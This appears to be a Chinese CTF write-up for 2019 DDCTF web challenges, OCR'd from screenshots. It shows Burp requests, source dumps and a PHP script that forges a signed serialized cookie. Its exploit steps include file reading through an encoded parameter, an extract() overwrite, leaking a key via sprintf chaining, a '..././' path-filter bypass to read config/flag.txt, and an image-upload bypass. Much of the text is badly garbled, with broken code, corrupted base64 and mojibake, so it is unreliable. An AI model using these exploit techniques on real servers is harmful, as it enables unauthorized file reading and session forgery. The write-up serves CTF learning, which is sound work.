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RIGEENWjpgI{E Rbase644mty, TREXEME, PEERATELbase64fBZEHIBIT, TmpZM1F6WXhOamN5U1RaQk56QTI0dz09
XAMBE SRR NjY2QzYXNjcyRTZBNZANwW== , RIiERbase64, FRAKLEM, IR 666c61672E6A7067 , £+ Nk, F
RELHasciFFH, MHERRE flag.jpg » EFS5HREERK—FE, FREBMESNXENZEKEL BB EENT, FI128F
TLRBHHREEERIEIRE T basebd MFEEHINE, RESANMEMAEE index.php HIHE:

<?php

echo base64_encode(base64_encode(bin2hex("index.php")));

R R TmprM1pUWTBOalUzTORKbES6QTIPRGN3 SR JEEMEAjpg, X ERATHburpsuite RIMBEE


https://blog.csdn.net/Opt_98
https://so.csdn.net/so/search/s.do?q=2019DDCTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=2019DDCTF+Writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ddctf%25C2%25A0writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=2019ddctf%25C2%25A0writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Writeup&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Opt_98/article/details/89390006
http://117.51.150.246
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

Request

Raw | Params | Headers | Hex

Response

_&M_ Headers | Hex H'I'MLTRender]

GET /index.php?ipg=TuprMlpUVTECalUzTORFRESEQTIPRGNE
Host: L117.51.150.24&

Pracma: no-cache

Cache-Control: no-cache

HTTP/ 1.1

Tr

Date:

X

Close

Converted text

Copy to clipboard

<?php
i
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607

]

* Date: July 44,2018
Ay
error_reporting(E_ALL || ~E_NOTICE);

header ('content-type:text/html;charset=uct-3'):;
if (! isset($_GET['3pg'l)}

header ('Pefresh:0;url=./index.php?ipg=Top ZNlFEWEhOamNSUlRaQkS6Q0TIO
dz0g') ;

§file hexZhinibaseg4_decode (baseE4_decode (§_GET['Jpg']l)) )

echo '<ctitle>'.§ GET['jpg'].'</titlex>';

§file preg replace("/["a-zA-Z0-S.]14/","", §file):

echo §file.'</br>';

§file = str_replace("config”,"!", §file);

echo §file.'</br>';

gtxt basef4_encode (file get_contentsi§file));

echo "<img src='data:image/gif:basegd, " ftxt. "' >< img>";
Ve

* Can you find the flag file?

*

%

@ EEE]

0 matches

RIGEEB R T index.php HIVRERD:

<?php
//*

Server:
¥-Powered-By:

HTTP/Ll.l 200 CK

Tu=, L€ Apr 2019 11:37:43 GHMT
Apache/2.4.7 (Unix) PHP/5.4.26
PHP/5.4.26

nt-Length: 1051

ction: close

nt-Type: text/html;charset=utf-8

e>TmprM1pUWTE0alUz TORKDBES6QTIPRGI3 </ it le>index. php</br>index. php</br> < img
data: image/gif;baseé4, PDOwaHANCi8qDQogkiBodHRwe zovL2 IshZ cuY3Nkb 1 SuZ XQvRmvuzo

cpdV1 1biShenRpY2x 1LZR1dGF ph HMwODAZHTYZ HDCHC i AgTERhAGUE TEp IbHkgNCwyMDE4D QogKis

eSSy H3J1cGOydGluZyhFXOFHTCES £CE+RVIOTIRICOUp OwOEDQoNCmh l1¥TWR lc ign Y2 8udGVudC 10
nRleHQvaHRthDtjaGFyeIVOPKVOZi04Jyk7D0ppZighIGlzeZVOECREROVUWydgeGenXSkpDQogT
VhZGVyKCASZWZyZXNo O A7dNIsPS4vaWskZXgueGhwPZ pwZz LUbXBaTWLGN 1dTaEShb T4 VxS YV
EVEPPZHowOScpOwOKIGEphGUYPSE0Z gy TmluKGI he2 UZNFSRZWNVIGUo TR 2 ZTYOXZR1Y2SkEIS
VananEnJ1DpKSk7DQplY2hUICCEdGlDbGU+Jy4kXDdFVF5nanEnJLDqunvdGlDbGU+JzsNCiRm
DOgcHI1Z 1Sy EXES YW IEC TwWLShLXpELVowL ThuXSsv1ivi TiwgdGZphGUpOwOEZWIoh yAkZmls 2
8icj4n0wlFEJGEZphGUgFSEzdHI femVwbGF ] ESgiYZSufmlnl iwi ISTsTCRmalx LKTSHCmV] aG8gd G
I zwwinI+JzsNCiR0eHOgPSBiV N INIREZWS b2 RIKGZph GVEZIVOKINvhnE1bnRzKCRmax 1KSk
CrViaGBglixphWege3 JIPSdkVXRPhCmlt YWAlLIdp 23t iVENINI OsTidkdHhOLiInPjwvaWlnPiI?
gOEICogQ2FulHlvdSEmaWSkIHRoZSBh GFnlGZphGU/ DOogEgDEICovD QoNCiB8+D00=" > </ imgs

* https://blog.csdn.net/FengBanlLiuYun/article/details/80616607

* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8");
if(! isset($_GET['jpg']))

header('Refresh:0;url=./index.php?jpg=TmpZM1F6WXhOamN5U1RaQk56QTI0dz09" ) ;

$file = hex2bin(base64_decode(base64_decode($ _GET['jpg']
echo '<title>'.$_GET['jpg'].'</title>';

$file = preg_replace("/[”a-zA-Z0-9.]+/","", $file);

echo $file.'</br>";

$file str_replace("config","!", $file);

echo $file.'</br>";

$txt

base64_encode(file_get_contents($file));

echo "</img>";
//*
* Can you find the flag file?

*

*/

?>

)
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T .swp XGRS &30, MEXREZFRBRZ practice.txt.swp XA, FRA LEKNEFELENEEES

jrg



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLxRender]

GET

/index. php?ipg=TnpEN0 LgWXhOak0zTkRZNUSqTTIOVEps TnpRMOSE Y =BHEVU=T
HpjMOSEQKINQTOS HTTP/L.1

Host: 117.51.150.24€

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Recquests: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4: x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3623.103
Safari/537.36

Aoocept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/webp
s image/apng, */*;q=0.8, application/=igned-exchangs;v=hb3
Aecept-Encoding: gzip, deflate

HTTF/1l.1 200 R

Date: Tue, 16 Apr 2019 11:55:14 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.2&
¥-Powered-By: PHF/5.4.2¢6
Content-Length: 181

Connection: close

Content-Type: text/html;charsec=utf-8

<t it le>TnpBH01gWXh0ak0zTkRZNUSqT TTOVER sTnpRMO9EY zBHbVUzTXpiMO560X1NQTO9< /it le>pr
actice.txt.swp</brrpractice.txt.swp</br><img
sre='data: image/gif;basef4, Z3FhZyFkZGNOZiSwaHA="></ img>

Ahecept-Language: zh-CH, zh:gq=0.9
Connection: close

W Converted text

Copy to clipboard |

X

Close

flag'!ddett. php

T‘

RIEXEBIRE T —4 flaglddctf.php X, TRECMEEfE%pg, KAHEERMA AR, RFELLEE index.php

YRR & BT T X B B AT I U -

$file = preg_replace("/[*a-zA-Z0-9.]+/","", $file);

echo $file.'</br>"';
$file = str_replace("config","!", $file);
echo $file.'</br>";

F—BIENRRLE—ANHEZNRT a-zA-20-9. ZANTEWZFRF, BUIXHE flaglddctf.php FH | BIBEBHEETT, REH
TIRBBNER config B | , TRER flagconfigddctf.php XTSI, REKENEE LIE.

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

GET

/index.php?jpy=TmpZek lUNXhOamMy TXpabUStVTI0alkl Tmp i MkSEUTEOakDzT
kRZIMk1tVTNNEFkOTnpEeULlEPTO= HTTR/L1.1

Host: 117.51.150.24&

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Regquests: 1

HTITP/1.1 Z00 OK

Date: Tue, 186 Apr 2019 12:11:359 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.ZE
¥-Powered-By: PHP/5.4.28
Content-Length: 458

Connection: close

Content-Type: text/html;charsst=utf-8

User-Ag
Applelig Converted text X s Tmp Zek1UWXh0 amily TXpabU5tVTI0alkl Tmp Mk 5EWTEO ak0zTKRZMk1 tVINHRF O TnpEeU1BP T
Safari tlexflagconfigddetf.php</br>flag!ddctf.php</br><img
Aoeept ata: image/gif;hbas=éd, PPEwaHANCmluT2x 1 ZGUoJ2NvhbmEp ZySwaHAnKTsNCiRr IDOgd2hlbG
text/hy B Close [CrivadHTWY3 Qo JFSHRVOpOWOKaW Yo AX 2 ZX00 JHVR ZCkpD Qp 7 DQog IC AgJGvhnR 1hnQ9dHEI phsh
, image [ J l J 26 1dF93h250ZW50cygkaykpOW0KICAYIGINKCRLaWQSPSRI I 502 WS0KQUKCXsNCykd ZWNobyik
Acoepto BNCglSDQod EWx zZQ00KECKsNCgkd ZWNobydo ZWxsbh ye 7D Qo EQ0KEQOED o/ Pg==" »></ img>
Accept <?php "
Connectd include ('config.php') -
§k = 'hello';
extract (§_GET);
ifiisset$uid))
{
jeontent=trim(file get contents(5k));
if{§uid==§content)
{
echo §flag:
H
else
{
echo'hello';
i
3
7= -
0 matches

fif 5 R BN AS B — Biphp A



<?php

include('config.php');

$k = 'hello';
extract($_GET);
if(isset($uid))

{
$content=trim(file_get_contents($k));
if($uid==%$content)

{
echo $flag;
}
else
{
echo'hello’;
by
¥

?>

Xt —IEphp extract() ZBE R RBMSEE B T, XABREFEbUgkuit 2 H Al 2475 f0d, WASHEME T taeseid

T XM EDflagT

Request

j Raw T Params T Headers T Hex ]

Response

J Raw | Headers | Hex |

GET /flag!ddctf.php?pid=&k=
Host: L17.51.150.246
Pragma: no-cache
Cache-Control: no-cachs
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT LO.0; Wingd; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chromes/73.0.3683.103
Safari/537.36

Aoccept:

text/html, application/xhtml4xml, application/xml; g=0.9, image/wehp
;image/apng, */ *;q=0.8,application/signed-exchanges;v=h3
Aocept-Encoding: gzip, deflate

Aeccept-Language: zh-CN, zh;g=0.9

Connection: close

HTTE/1.1

WEB %5 3| &5

B E ik http://117.51.158.44/index.php

e

HTTP/Ll.l Z00 OK

Date: Tue, 16 Apr 2019 12:34:2& GMT
Server: Apache/Z.4.7 (Unix) PHPF/5.4.26
¥-Powered-By: FHF/5.4.26
Content-Length: 37

Connection: close

Content—Type: text/html

DDCTF{436€6e67726174756c6174696F6e73}

HHRERRA: B, SE&EE-BR, ERBURE Vi E-—-", T & HMHburpsuite>k3E, HMEI—Apostf.:

@J Request to http://117.51.158.44:80

J[Mmmm@m} Action

l Forward | l Drop

Raw | Headers | Hex

POST /app/Auth.php HTTE/L.1

Host: L17.51.158.44

Content-Length: O

Pragma: no-cache

Cache-Control: no-cache

Accept: application/json, text/javascript, */*; g=0.01
Origin: http://117.51.158.44

didictf usernams:

¥-Requested-With: XMLHttpRedquest

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =64) AppleWebKit/537.36
Content-Type: application/json;charset=utf-g

Referer: http://117.51.158.44/index.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CHN, zh;q=0.9

Cookie:

Connection: close

KRI didictf username: X—1ZRZFH], 1 Eadminidii:

(KHTHL,

like Gecko) Chrome/73.0.36B83.103 Safari/537.36



https://www.php.net/extract
http://117.51.158.44/index.php

Request

Raw | Headers | Hex

Response

Raw | Headers | Hex

POST /app/Auth.php HTTP/1.1

Host: 117.51.158.44

Content-Length: 0O

Pragma: no-cache

Cache-Control: no-cache

Accept: application/json, text/javascript,
Origin: http://117.51.158.44

didictf_ usernams: admin

H-Requested-With: HMLHttpRecquest
User-Agent: Mozilla/5.0 (Windows NT 10.0:

*/*; g=0.01

Wingd: =&4)

(KHTHML, liks Gecko) Chroms/73.0.3683.103 Safari/537.36
Content-Type: application/json;charset=utf-8
Referer: http://117.51.158.44/index.php

Accept-Encoding: gzip, deflate
Accept-Languages: zh-CHN, zh:q=0.9
Cookie:

Connection: close

AppleWebKEit/537.36

T

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 1 Apr 2019 13:12:48 GMT
Content-Type: application/json
Connection: close

Content-Length: 140

{"errMsg": "success", "data”: "\ uE0aB\ ust53\ us24d  us£53  us24d\ ue743 \ us8ES0, ud
eda'uTbal' u7406) us5458----"uBbt7\ udhht' udse=: app' /ELIXIDZi0Cdh. phpf'}

RE T —AN kR 4R app/fL2xID2iecdh.php » WHEBE, KIREH N phplEid:



url:app/Application.php

Class Application {

var $path = g

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
‘data’ => $datal;
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

public function auth() {
$DIDICTF_ADMIN = ‘'admin';
if(lempty($_SERVER[ 'HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response (" &7 LRI R AE B G - - - - 1§15 1 : app/fL2XID2i0Cdh.php');
return TRUE;

telse{
$this->response( 'k, BEAE SRR, EHIRDRE VI ----- ','error');
exit();

b

}
private function sanitizepath($path) {

$path = trim($path);
$path=str_replace('../',"'",$path);
$path=str_replace('..\\"',"'"',$path);
return $path;

public function _ destruct() {
if(empty($this->path)) {
exit();
telseq{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path), 'Congratulations');

}

exit();

url:app/Session.php

include 'Application.php’;
class Session extends Application {

//key R g8 1 F
var $eancrykey = ;
var $cookie_expiration = 7200;
var $cookie_name

‘ddctf_id"';
var $cookie_path = 0g

Py



var »Ccookle_domain T
var $cookie_secure FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER[ 'HTTP_USER_AGENT']);
parent::response($data, 'sucess');
telse{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data, 'sucess');

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt");

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
¥

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent: :response("session not found", 'error');
return FALSE;
¥
$hash = substr($session,strlen($session)-32);
$session = substr($session,@,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match", 'error');
return FALSE;

}

$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($se
ssion[ 'user_agent'])){
return FALSE;

if(lempty($ _POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}

parent::response($data, "Welcome");



if($session['ip_address'] != $ SERVER[ 'REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;

}

if($session['user_agent'] != $ SERVER[ "HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;

}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(@,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $ SERVER[ 'REMOTE_ADDR'],
'user_agent' => $_ SERVER[ "HTTP_USER_AGENT'],

'user_data' => B

)5

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure

)5

$ddctf = new Session();
$ddctf->index();

REFH i, KRBT — B AU
private function get_key() {

//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt");

HEVM config HRRAFTEER, BRAASXAFAR. ..

RIGEATVF AT app/Session.php :



Request

Raw | Headers | Hex

Response

Raw | Headers | Hex

POST /app/Session.php HTTP/Ll.1
Host: 117.51.158.44
Content-Length: O

Pragma: no-cache

Cache-Control: no-cache

Accept: application/json, text/javascript, */*; g=0.01
Origin: http://L117.51.158.44

didictf_ username: admin
H-Requested-With: XMLHttpRecquest
User-Agent: Mozilla/5.0 (Windows NT l0.0:; Win&4: x64) AppleWebKit/537.3E

(KHTHML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: application/json;charset=utf-8
Referer: http://117.51.158.44/index.php

Accept-Encoding: gzip, deflate
Accept-Languags: zh-CN, zh;qgq=0.9
Cookie:

Connection: close

e

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 1& Apr Z019 13:43:ZZ GHMT

Content-Type: application/json

Connection: close

Set-Cookie:

ddctf id=a%3A44%34%7Es%5410%3A%20session id¥Z2%3Es%3A32%3A%22ff£77df4e01lal
fCESEESdacDCQEEQDZT%22%355%3310%31%22ip:add[ESS%ZQ%SBS%3A14%33§22l71.209
.90.126%22%3Bs%3A10%3A%22user_agent522%3B5%3A115%3A%22M0zi11a%2F5. 04528V
indows+NT+10.0%3B+Win64%3B+xE64528+App leWebKit52F537.36+5%20KHTULS2C+1iket+
Gecko%29+Chrome$2F73.0.3683. 103+5afaris2F537.36%22%3B5%3A9%3A%22user_dat
a%22%3Bs%3A0%3A%22%22%3B57Dcali8edlcf L1fhal4f755dfef00ILEZSS;
expires=Tus, LlEé-Apr-2019 15:43:22 GHT; Max-Age=T7I00

Content-Length: LBE

{"errMsg": "success", "data": "\ uf0ad’ uS£53" usZ4d  uS£53  usl4d\ uETA3 uBESD, ud
e3aiuTbal u7406 u5458———-" " uBb£7  udbbf |\ udSeerapp" /ELIXIDZi0Cdh. php"} { "err
Msg'":"sucess", "data":"DiDI Welcome you 53"}

BABRMNFE T cookieHfE, BIREIT DiDI Welcome you %s , BB $this->session_read() ATrue, RERIBEE

session_read() H¥, KU EMmMAE RN

if(lempty($ _POST["nickname"])) {
$arr =
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}

parent: :response($data, "Welcome");

array($ _POST["nickname"],$this->eancrykey);

R BARG R AE ] $eancrykey , {BIEXAS foreach B E, BESL IRKIFELL sprintf #&:4L $this->eancrykey 7
RERF HATED SR, WREANR nickname AHARFERFE, WAL —IK sprintf BHHEMERMLT, XFEEE IR sprintf KIRHE
MBEEEAT, FURMNLZEAN %s Sl — KR F R RS xR E R, TRENREZ —A nickname=%s )

postiF R, (HIRIXHE HI—ia &t £ Hburpsuitei® X postiF KIF R A HAEIE, FEERM AR, 5FRFEHHpostmankig

Rpostit KA E & (W] LA hackbaridik) :

http://117.51.158.44/app/Sessic @ +  eee

http://117.51.158.44/app/Session.php

POST v http://117.51.158.44/app/Session.php

=rs (2) Body @ Pre

none @ form-data x-www-form-urlencoded raw binary
KEY VALUE
nickname %s
Body Cookies (1) Headers (5)
Pretty Preview JSON =

1
8

XEEE R $eancrykey T ...

B3tk %£F Application.php HIEHS

No Environment v © #
Cookies Code
DESCRIPTION s++ | Bulk Edit

Status: 200 0K Time: 179 ms  Size: 434 B Download

mQ

{"errMsg":"success”, "data”: "\u6@ad\u5f53\u524d\usf53\u524d\u6743\u9650\ude3da\u7bal\u7486\uS458 - - - - \u8bf7\uBbbf\u95ee: app\/fL2XID2i0Cdh
.php"H{"errMsg": "Welcome","data™: "Welcome my friend EzblrbN5"}{"errMsg":"sucess"”,"data":"DiDI Welcome you PostmanRuntime\/7.6.8"}

'\


https://www.php.net/manual/zh/function.sprintf.php

private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../',"'",$path);
$path=str_replace('..\\"',"'"',$path);
return $path;

public function _ destruct() {
if(empty($this->path)) {
exit();
telse{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();

}
$this->response($data=file_get_contents($path), 'Congratulations"');

b
exit();

X BRATE B &5 AT R BT LB, R4 X Bt n] DUk Eflag>Cf4 T, T k4R 7s diflag Bz sl /e X A &
../config/flag.txt , MEXNMEREMSBRE—PERELZT sanitizepath HEl, KBTS, XHFE
..././config/flag.txt BAATLAGE T, FREAIFTEME —cookiekpathftift 2.

BT RFATFE Session.php K —BARHY:

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

X BUARED Bt R AL Blicookie ), Sk B 7 AL AE EAT mdS N B N, IXAF B JE AR T cookie, BT ABRATIEL AR B — AN R AR 1
cookiefti#t %, TREH THKIMA:

<?php
include 'Application.php’;

$eancrykey = 'EzblrbNS';

$2a = new Application();
$aa->path = '..././config/flag.txt';

//print_r(serialize($aa));

$cookiedata = serialize($aa);

$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

print_r(urlencode($cookiedata));

IB1T8 32 52 urlin# i cookie:
0%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22. . .%2F .%2Fconfigk2Fflag.txt%22%3B%7D5a014d
be49334e6dbb7326046950bee2

&) bfEdt L e 2lflag T :



Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /app/Session.php HTTP/Ll.1 HTTP/1.1 200 OK

A
Host: L17.51.158.44 B Server: nginx/l.l10.3 (Ubuntu
Content-Length: O Date: Wed, 17 Apr 2018 14:4£:08 GHMT
Accept: application/djson, text/javascript, */*; g=0.01 Content-Type: application/Json
Origin: http://117.51.158.44 Connection: close
didictf_username: admin Content-Length: IZI0
¥-PFequested-With: XHNLHttpRecquest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =E4) {"errMsg": "success", "data": "\ uE0aB' us£53 \ us24d \ us£53\ us24d \ uE743 \ uSES0" udela' uTha
AppleWebKit/537.36 (KEHTML, like Gecko) Chrome/73.0.3683.103 L\ u7406" u5458—-—-"ughf7 ughbkbf  uSsee:app’ /ELIXIDZ i0Cdh. php"} { "errMsg": "Congratulat
Safari/537.36 ions", "data":"DDCTF {ddetfZ01S GAucwiEE pHVIHIDDGAVSRZI} ™)

Content-Type: application/json;charsec=utf-8

Referer: htep://117.51.158.44/index.php

Aeecepr-Encoding: gzip, deflate

Acecept-Language: zh-CN, zh;qg=0.9

Cookie:
ddetf_id=0%3A11%34%2CApplications2233A1%30%7Es%3A4%3 %2 pathsils
IBs%3A21%3A%22. . 3BT .%EFconfigy2Fflag. txts2253B%705a014dbe4933 2
Edbb?S:SDQEQSDbeEﬂ

Connection: close

Upload-IMG

ALE Hdk: http://117.51.148.166/upload.php
user: dd@ctf
pass: DD@ctf#000

BxmERAR LERFEE, TRBEE LA —KE K.
& C 0 @ F=%| 117.51.148.166/upload.php?type=upload

Sa
=
Vv

WP
[Check Error] HERIE HIRCBPFRB EI8EFFE:phpinfo()

ERRRRE: “EAERE R IERE SR A& 182 74 phpinfo()” , T R#%F Awinhex?E B HifN phpinfo() FHFHE, KWE
SGRE: 75 LA JPG/GIF/PNGH X B 30, ATaE R ERERMBIREA phpinfo() » TREINARphpEAKIZHT, X
BURE T, AU BIXHEN 755 B BEBOR A B A RS, JERIER phpinfo() BBEMEMART T, KIEREICI S L4125
T, NEERMA K. JEHA KBRS T TRAER REERTHE, KT —RXE:

upload-labsz pass 161414 #r

ETT, BEBEEZEMEM jpg payload.php BHIARM, % bftF—iKjpgHE, REEEREIMNE TR TR, BHIANHALEXK
B, RiEEER payload x.jpg » FAHIXTKETMABERKE LEEZER, WHE [check Error] , A NIEREIKETE TR,
BRHMAERE X L%, EEJLIR, BIifagHi:

< C 0 @ FZ=| 117.51.148.166/upload.php?type=upload

[Success]Flag=DDCTF{B3s7 7ry php1nf0 94c89d0f4e499fad}

RIEBE Hweb s — B flag jpgiE s 7 7114 Hiflag, HXMLEFRERH 4, FLEERLRBRERT, XEERRE...


http://117.51.148.166/upload.php
https://xz.aliyun.com/t/2657

MISC
Wireshark

&7 B AL B 2

— B EIE T AR RSB hitp:

[[[htte

No. Time Source Destination Protecel Length Info
125 3.326459 172.25.52.32 110.18.246.11 HTTP 156 GET /aideddesign/img_add_info HTTP/1.1
166 3.369559 110.18.246.11 A2 25,5222 HTTP 913 HTTP/1.1 200 OK (text/html)
415 9.974641 172.25.52. 32 58.218.211.182 HTTP 449 OPTIONS / HTTP/1.1
417 10.029968 58.218.211.182 3 2. 25.52.22 HTTP 455 HTTP/1.1 2@@ OK (text/json)
594 10.461510 172.25.52. 2% 58.218.211.182 HTTP 884 POST / HTTP/1.1 (PNG)

:.: 627 10.854758 58.218.211.182 32 25.52.22 HTTP 658 HTTP/1.1 200 OK (json)
672 11.952050 A2 2553 5 124.165.219.1805 HTTP 891 GET /3070cc91f3825652 HTTP/1.1
682 12.103946 124.165.219.165 312 2505222 HTTP 1149 HTTP/1.1 280 OK (text/html)
686 12.119228 17202553 83 59.53.95.185 HTTP 464 GET /674874/1@@fbf895a071b61s.png HTTP/1.1
7088 12.227373 372095 .57, 53 124.165.219.105 HTTP 9@1 POST /?c=User&a-getmessnum HTTP/1.1
716 12.319898 124.165.219.105 172.25.52.32 HTTP 74 HTTP/1.1 200 OK (text/html)
797 14.392289 172.25.52.32 124.165.219.105 HTTP 891 GET /upload HTTP/1.1
831 14.48@224 124.165.219.105 372 25,5222 HTTP 268 HTTP/1.1 280 0K (text/html)
874 15.898477 172.25.52.32 124.165.219.105 HTTP 891 POST /?c=User&a=getmessnum HTTP/1.1
883 15.98e001 124.165.219.105 172.25.52.32 HTTP 74 HTTP/1.1 280 OK (text/html)
1854 20.85@856 172.25.52.32 58.218.211.182 HTTP 449 OPTIONS / HTTP/1.1
10857 20.914917 58.218.211.182 31 2.25.52.22 HTTP 455 HTTP/1.1 200 OK (text/json)
3185 24.196330 172.25.52.32 58.218.211.182 HTTP 121@ POST / HTTP/1.1
3337 25.5921821 58.218.211.182 312 25.52.32 HTTP 656 HTTP/1.1 200 OK (Json)
3402 26.632728 A7 209553 .52 124.165.219.1805 HTTP 891 GET /efe®29a825f18c6f HTTR/1.1
3410 26.758209 124.165.219.165 312 255232 HTTP 731 HTTP/1.1 280 OK (text/html)
3437 26.883031 372095 .57, 53 59.53.95.185 HTTP 464 GET /674874/98ec4648f71d@912s.png HTTP/1.1
3443 26.932094 1720955983 124.165.219.1805 HTTP 9@1 POST /?c=User&a-getmessnum HTTP/1.1
3453 27.039167 124.165.219.105 172.25.52.32 HTTP 74 HTTP/1.1 200 OK (text/html)

HATEFEFIHPNGE f, TRKEIE A TR E:



EL S A e U PETE RFR P R R R S S e e TENE o S R I T T R R S S P VRN (RSN R

594 10.461510 172.25.52.32 58.218.211.182 HTTP 884 POST _f HTTP/1.1 (PNG)

T

627 18.854758 58.218.211.182 S B do A HTTP 658 HTTP/1.1 280 OK (Jjson)
672 11.952050 TR 255232 124.165.219.185 HTTP 891 GET /3@70cc91f3325652 H
682 12.1@3946 124.165.219.185 Bl A o HTTP 1149 HTTP/1.1 280 OK (text/
686 12.119228 TR 255232 59.53.05.1585 HTTP 464 GET /674874/100fbfg895a0
788 12.,227373 12055232 124.165.219.185 HTTP 901 POST /?c=User&a=getmess
716 12,319898 124.165.219,185 172.25.52.32 HTTP 74 HTTP/1.1 208 OK (text/
797 14.392289 T2 255232 124.165.219.1085 HTTP 891 GET fupload HTTP/1.1
831 14.480224 124.165.219,185 172.25.52.32 HTTP 268 HTTP/1.1 200 OK (text/
874 15.898477 T2 25. 5232 124.165.219.1085 HTTP 891 POST /?c=User&a=getmess
883 15.980001 124.165.219.185 S s AR n HTTP 7A HTTP/1.1 200 OK (text/
1854 206.8508856 T2 255232 58.218,211.182 HTTP 449 OPTIONS / HTTP/1.1

1857 268.914917 58.218.211.182 3 7 A A HTTP 455 HTTP/1.1 280 OK (text/
Boundary: \r\n------ WebKitFormBoundaryrrCm5Zac4cDRaYuG\rin

Encapsulated multipart part:

Boundary: \r\n------ WebKitFormBoundaryrrCm5ZaCc4cDRaYuG\rin

Encapsulated multipart part:

Boundary: \r\n------ WebKitFormBoundaryrrCm5ZaC4acDRaYuG\rin

Encapsulated multipart part:

Boundary: \r\n------ WebKitFormBoundaryrrCm5ZaC4acDRaYuG\rin

Encapsulated multipart part:

Boundary: \r\n------ WebKitFormBoundaryrrCm5ZaC4acDRaYuG\rin

Encapsulated multipart part:

Boundary: \r\n------ WebKitFormBoundaryrrCms5Zac4cDRaYuG\rin

v~ Encapsulated multipart part: (image/png)

Content-Disposition: form-data; name="file"; filename="upload.png"\r\n
Content-Type: image/png\r\n\r\n

Portable Metwork Graphics

Besl, REE—-KARKNERF CERTHERERAFEFES{ITTERER NS T, FEHEREZERETIT T, windowsH
IR BT T, ERREIE A -

9

1.png

BERXERFHRER K, THXARER THE, TREERwinhexs T B A = E:

Lpngl

Offset g T @ 8 4 5 % ¥ 8 8 A B € D B B
00000000 |89 50 4E 47 0D OA 1a OA 00 00 00 OD 49 48 44 52
00000010 |00 00 O6 40 |00 00 OF 20| 08 06 00 00 00 7B CO AE

00000020 |5A 00 00 OC 14 69 43 43 50 49 43 43 20 50 72 er | & iCCPICC Pro
00000030 |66 €69 6C &5 00 00 48 89 95 57 07 58 53 €9 16 9E | file GeW XSE %
00000040 |SB 52 08 09 2D 10 01 29 21 37 41 BA 74 E9 BD 08 | [R - ) ;7A8téx
00000050 |48 07 1B 21 09 49 28 11 12 82 8A 1D 59 54 70 2D H ! I{ ,8 ¥Tp-

00000060 |AS8 58 BO A2 AB 20 0OA AE 05 90 BS 62 57 16 C1 DE | "X"¢« & pbW AP
00000070 |1F 88 A8 AC AC BB 05 2C A8 BC 49 01 5D 5F FB DE “U==me I ] Q1B
00000080 |(F9 BE B9 F3 E7 CC 39 67 FE 33 F7 DC CH 0OC 00 an ﬁ%iégiggp3+ﬁé &
